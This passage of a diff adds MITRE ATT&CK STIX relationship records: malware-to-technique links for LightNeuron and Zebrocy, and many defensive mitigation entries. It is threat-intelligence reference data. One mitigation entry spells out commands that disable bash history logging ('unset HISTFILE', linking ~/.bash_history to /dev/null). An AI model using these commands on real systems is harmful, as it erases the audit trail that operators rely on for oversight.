"2019-07-16T17:12:00.642Z", + "source_ref": "malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[LightNeuron](https://attack.mitre.org/software/S0395) uses AES to encrypt C2 traffic.", + "type": "relationship", + "created": "2019-06-28T14:58:02.553Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--86db4034-d33f-4067-b133-70ea904fa461", + "external_references": [ + { + "source_name": "ESET LightNeuron May 2019", + "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf" + } + ], + "modified": "2019-07-16T17:12:00.646Z", + "source_ref": "malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb", + "relationship_type": "uses", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[LightNeuron](https://attack.mitre.org/software/S0395) is controlled via commands that are embedded into PDFs and JPGs using steganographic methods.", + "type": "relationship", + "created": "2019-06-28T14:58:02.557Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4be17eba-9ee0-46ff-b019-ce32c25ad146", + "external_references": [ + { + "source_name": "ESET LightNeuron May 2019", + "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf" + } + ], + "modified": "2019-07-16T17:12:00.668Z", + "source_ref": "malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb", + "relationship_type": "uses", + "target_ref": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[LightNeuron](https://attack.mitre.org/software/S0395) can be configured to exfiltrate data during nighttime or working hours.", + "type": "relationship", + "created": "2019-06-28T14:58:02.559Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--20c556ad-adcd-4b60-bde1-c3eff06c0593", + "external_references": [ + { + "source_name": "ESET LightNeuron May 2019", + "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. 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Retrieved March 4, 2019.", + "url": "https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat" + } + ], + "modified": "2019-07-26T20:18:44.975Z", + "source_ref": "malware--0efefea5-78da-4022-92bc-d726139e8883", + "relationship_type": "uses", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "An adversary must already have administrator level access on the local system to make full use of this technique; be sure to restrict users and accounts to the least privileges they require. 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Identify and block potentially malicious software executed through accessibility features functionality by using application whitelisting tools, like Windows Defender Application Control, AppLocker, or Software Restriction Policies where appropriate.", + "type": "relationship", + "created": "2019-07-16T17:48:35.097Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--00a9c85e-e34e-4b85-a849-38bcb80cc71c", + "external_references": [ + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Microsoft Windows Defender Application Control", + "description": "Gorzelany, A., Hall, J., Poggemeyer, L.. (2019, January 7). Windows Defender Application Control. Retrieved July 16, 2019.", + "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-16T19:07:04.916Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--9b99b83a-1aac-4e29-b975-b374950551a3" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Protect domain controllers by ensuring proper security configuration for critical servers to limit access by potentially unnecessary protocols and services, such as SMB file sharing.", + "type": "relationship", + "id": "relationship--21d41578-d75e-4cd5-bcf2-38ae64553e3b", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-16T18:47:21.971Z", + "modified": "2019-07-16T18:47:21.971Z", + "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Adversaries install new AppCertDLL binaries to execute this technique. Identify and block potentially malicious software executed through AppCertDLLs functionality by using application whitelisting tools, like Windows Defender Application Control, AppLocker, or Software Restriction Policies where appropriate.", + "type": "relationship", + "id": "relationship--c331fa13-9e17-4a90-b59b-cf0fa08f0cd8", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-16T19:05:54.031Z", + "modified": "2019-07-16T19:05:54.031Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--4bf5845d-a814-4490-bc5c-ccdee6043025" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Adversaries can install new AppInit_DLLs binaries to execute this technique. Identify and block potentially malicious software executed through AppInit_DLLs functionality by using application whitelisting tools, like Windows Defender Application Control, AppLocker, or Software Restriction Policies where appropriate.", + "type": "relationship", + "id": "relationship--3ed57f95-4962-448a-892b-9b3d1029633a", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-16T19:09:25.417Z", + "modified": "2019-07-16T19:09:25.417Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--317fefa6-46c7-4062-adb6-2008cf6bcb41" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Use multi-factor authentication for accounts used with application deployment software.", + "type": "relationship", + "id": "relationship--a33478a8-f3f4-4d6c-bed2-62112e0cbfc7", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-16T19:17:34.992Z", + "modified": "2019-07-16T19:17:34.992Z", + "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Grant access to application deployment systems only to a limited number of authorized administrators. Verify that account credentials that may be used to access deployment systems are unique and not used throughout the enterprise network.", + "type": "relationship", + "id": "relationship--15c504cc-6f8c-46d5-b147-d8c6fca03dfd", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-16T19:17:35.009Z", + "modified": "2019-07-16T19:17:35.009Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Microsoft released an optional patch update - KB3045645 - that will remove the \"auto-elevate\" flag within the sdbinst.exe. This will prevent use of application shimming to bypass UAC. ", + "type": "relationship", + "id": "relationship--feb8a868-1956-4dc5-802c-efa8c455034b", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-16T19:24:58.172Z", + "modified": "2019-07-16T19:24:58.172Z", + "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--7c93aa74-4bc0-4a9e-90ea-f25f86301566" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "There are multiple methods of preventing a user's command history from being flushed to their .bash_history file, including use of the following commands:\nset +o history and set -o history to start logging again;\nunset HISTFILE being added to a user's .bash_rc file; and\nln -s /dev/null ~/.bash_history to write commands to /dev/nullinstead.", + "type": "relationship", + "id": "relationship--a7abebf1-687a-40b7-9d11-c68e0e41c19c", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-16T19:54:57.424Z", + "modified": "2019-07-16T19:54:57.424Z", + "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--44dca04b-808d-46ca-b25f-d85236d4b9f8" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "\nConsider limiting access to the BITS interface to specific users or groups.", + "type": "relationship", + "id": "relationship--279fa1bc-e514-4125-ab7e-51fb1da8a3f2", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-16T20:02:53.325Z", + "modified": "2019-07-16T20:02:53.325Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Check for common UAC bypass weaknesses on Windows systems to be aware of the risk posture and address issues where appropriate.", + "type": "relationship", + "id": "relationship--9ae39090-1b20-4a81-8c03-841cd46d0f0b", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-16T20:28:55.404Z", + "modified": "2019-07-16T20:28:55.404Z", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Configure internal and external firewalls to block traffic using common ports that associate to network protocols that may be unnecessary for that particular network segment.", + "type": "relationship", + "id": "relationship--205b99bf-ce60-4bb5-8916-ac9d97ce4d05", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-16T20:51:40.453Z", + "modified": "2019-07-16T20:51:40.453Z", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Disallow or restrict removable media at an organizational policy level if they are not required for business operations.", + "type": "relationship", + "id": "relationship--c4b3287c-5e5a-4ec0-bc20-4e3b6a0c296f", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-16T20:53:20.687Z", + "modified": "2019-07-16T20:53:20.687Z", + "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--64196062-5210-42c3-9a02-563a0d1797ef" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) has used URL/Percent Encoding on data exfiltrated via HTTP POST requests.", + "type": "relationship", + "created": "2019-07-16T21:00:11.765Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d514d73a-27de-409d-bff9-d7e48f2859a6", + "external_references": [ + { + "source_name": "Accenture SNAKEMACKEREL Nov 2018", + "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.", + "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50" + } + ], + "modified": "2019-07-17T01:18:33.387Z", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "relationship_type": "uses", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) has exfiltrated data to the designated C2 server using HTTP POST requests.", + "type": "relationship", + "created": "2019-07-16T21:00:11.769Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--546fc347-7844-4721-8ec4-dbf45e8ca1e7", + "external_references": [ + { + "source_name": "Accenture SNAKEMACKEREL Nov 2018", + "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.", + "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50" + } + ], + "modified": "2019-07-17T01:18:33.385Z", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "relationship_type": "uses", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Identify and block potentially malicious and unknown .cpl files by using application whitelisting tools, like Windows Defender Application Control, AppLocker, or Software Restriction Policies where appropriate.", + "type": "relationship", + "id": "relationship--a1f159ff-c736-44db-ab58-1fffcb7c8404", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-16T21:10:28.523Z", + "modified": "2019-07-16T21:10:28.523Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--8df54627-376c-487c-a09c-7d2b5620f56e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Protect domain controllers by ensuring proper security configuration for critical servers.", + "type": "relationship", + "id": "relationship--6808a607-0c81-433b-a027-2f1a8fe163c9", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-16T21:24:16.586Z", + "modified": "2019-07-16T21:24:16.586Z", + "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Limit credential overlap across accounts and systems by training users and administrators not to use the same password for multiple accounts.", + "type": "relationship", + "created": "2019-07-17T15:45:37.493Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7e8ca453-aee5-48c1-a891-f44a742a95ed", + "modified": "2019-07-26T19:54:07.419Z", + "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "\nManage the access control list for \u201cReplicating Directory Changes\u201d and other permissions associated with domain controller replication.", + "type": "relationship", + "created": "2019-07-17T15:45:37.521Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fc31837d-530f-45e5-b9f8-bf6268c3ef03", + "external_references": [ + { + "source_name": "AdSecurity DCSync Sept 2015", + "description": "Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.", + "url": "https://adsecurity.org/?p=1729" + }, + { + "source_name": "Microsoft Replication ACL", + "description": "Microsoft. (n.d.). How to grant the \"Replicating Directory Changes\" permission for the Microsoft Metadirectory Services ADMA service account. Retrieved December 4, 2017.", + "url": "https://support.microsoft.com/help/303972/how-to-grant-the-replicating-directory-changes-permission-for-the-micr" + } + ], + "modified": "2019-07-26T19:54:07.433Z", + "source_ref": "course-of-action--e3388c78-2a8d-47c2-8422-c1398b324462", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "\nOn Windows 8.1 and Windows Server 2012 R2, enable Protected Process Light for LSA.", + "type": "relationship", + "created": "2019-07-17T15:45:37.529Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a6f27258-cf6a-4d75-a3f0-5de085d528d2", + "external_references": [ + { + "source_name": "Microsoft LSA", + "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved February 13, 2015.", + "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx" + } + ], + "modified": "2019-07-26T19:54:07.445Z", + "source_ref": "course-of-action--72dade3e-1cba-4182-b3b3-a77ca52f02a1", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "\nConsider disabling or restricting NTLM.", + "type": "relationship", + "created": "2019-07-17T15:45:37.582Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fe849763-78b9-4b8a-9219-2781ac7b00e8", + "external_references": [ + { + "source_name": "Microsoft Disable NTLM Nov 2012", + "description": "Microsoft. (2012, November 29). Using security policies to restrict NTLM traffic. Retrieved December 4, 2017.", + "url": "https://technet.microsoft.com/library/jj865668.aspx" + } + ], + "modified": "2019-07-26T19:54:07.449Z", + "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Restrict file shares to specific directories with access only to necessary users.", + "type": "relationship", + "id": "relationship--862de207-08e7-402a-ad23-90f520f11299", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-17T15:52:46.436Z", + "modified": "2019-07-17T15:52:46.436Z", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Preemptively search for files containing passwords and take actions to reduce the exposure risk when found.", + "type": "relationship", + "id": "relationship--f76660fd-2b21-415f-b0dd-a98f9e80055b", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-17T15:52:46.451Z", + "modified": "2019-07-17T15:52:46.451Z", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Ensure that developers and system administrators are aware of the risk associated with having plaintext passwords in software configuration files that may be left on endpoint systems or servers.", + "type": "relationship", + "id": "relationship--397bdc3e-3c63-4311-a509-e019c655e836", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-17T15:52:46.456Z", + "modified": "2019-07-17T15:52:46.456Z", + "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Establish an organizational policy that prohibits password storage in files.", + "type": "relationship", + "id": "relationship--913e7eac-c12f-4db7-b5f4-b23c8fe05729", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-17T15:52:46.478Z", + "modified": "2019-07-17T15:52:46.478Z", + "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "If it is necessary that software must store credentials in the Registry, then ensure the associated accounts have limited permissions so they cannot be abused if obtained by an adversary.", + "type": "relationship", + "id": "relationship--08e5e694-23fb-4598-afb4-3ed31850c070", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-17T16:02:42.954Z", + "modified": "2019-07-17T16:02:42.954Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--2edd9d6a-5674-4326-a600-ba56de467286" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Do not store credentials within the Registry.", + "type": "relationship", + "id": "relationship--ba7c3f55-4b25-4b64-828a-0ee86602013e", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-17T16:02:42.979Z", + "modified": "2019-07-17T16:02:42.979Z", + "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--2edd9d6a-5674-4326-a600-ba56de467286" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Filter network traffic to look for unusual or non-standard protocols.", + "type": "relationship", + "id": "relationship--40865e9d-cfaf-4375-a1c2-ea47fe9e9bda", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-17T18:20:50.647Z", + "modified": "2019-07-17T18:20:50.647Z", + "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Enforce the principle of least-privilege. Consider implementing access control mechanisms that include both authentication and authorization.", + "type": "relationship", + "id": "relationship--8b3f2915-ca04-4770-88bb-e6f1314da34d", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-17T18:51:33.926Z", + "modified": "2019-07-17T18:51:33.926Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Ensure proper user permissions are in place to prevent adversaries from disabling or interfering with security services.", + "type": "relationship", + "id": "relationship--220ed24a-195d-4a8b-b164-fac333017cdc", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-17T19:02:55.279Z", + "modified": "2019-07-17T19:02:55.279Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Limit the privileges of user accounts so that only authorized administrators can perform Winlogon helper changes.", + "type": "relationship", + "id": "relationship--0bf88285-4212-4690-9902-fa065b477f2c", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-17T19:16:41.786Z", + "modified": "2019-07-17T19:16:41.786Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--514ede4c-78b3-4d78-a38b-daddf6217a79" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Use the program sxstrace.exe that is included with Windows along with manual inspection to check manifest files for side-loading vulnerabilities in software.", + "type": "relationship", + "id": "relationship--966669b9-7ad9-4d01-9218-d42b5c6264b2", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-17T19:22:37.686Z", + "modified": "2019-07-17T19:22:37.686Z", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "In order to use domain fronting, adversaries may need to deploy additional tools to compromised systems. It is possible to prevent the installation of these tools with application whitelisting.", + "type": "relationship", + "id": "relationship--e1de0727-729e-43de-a8a1-85caf742f35a", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-17T19:25:38.331Z", + "modified": "2019-07-17T19:25:38.331Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--1ce03c65-5946-4ac9-9d4d-66db87e024bd" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "In some cases a local DNS sinkhole may be used to help prevent DGA-based command and control at a reduced cost.", + "type": "relationship", + "id": "relationship--5524aea0-6559-4410-abbb-c620133e5d87", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-17T19:32:24.314Z", + "modified": "2019-07-17T19:32:24.314Z", + "source_ref": "course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--54456690-84de-4538-9101-643e26437e09" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "If the service is necessary, lock down critical enclaves with separate WinRM accounts and permissions.", + "type": "relationship", + "created": "2019-07-17T19:46:10.263Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--908f43b2-be14-470d-b6ec-9bd0211752ee", + "modified": "2019-07-17T23:22:27.924Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--c3bce4f4-9795-46c6-976e-8676300bbc39" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Prevent users from being able to write files to the search paths for applications.", + "type": "relationship", + "id": "relationship--99f401d1-81c5-461b-ab15-5ff9391fe93e", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-17T19:54:05.765Z", + "modified": "2019-07-17T19:54:05.765Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--aa8bfbc9-78dc-41a4-a03b-7453e0fdccda" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "By default, only administrators are allowed to connect remotely using WMI. Restrict 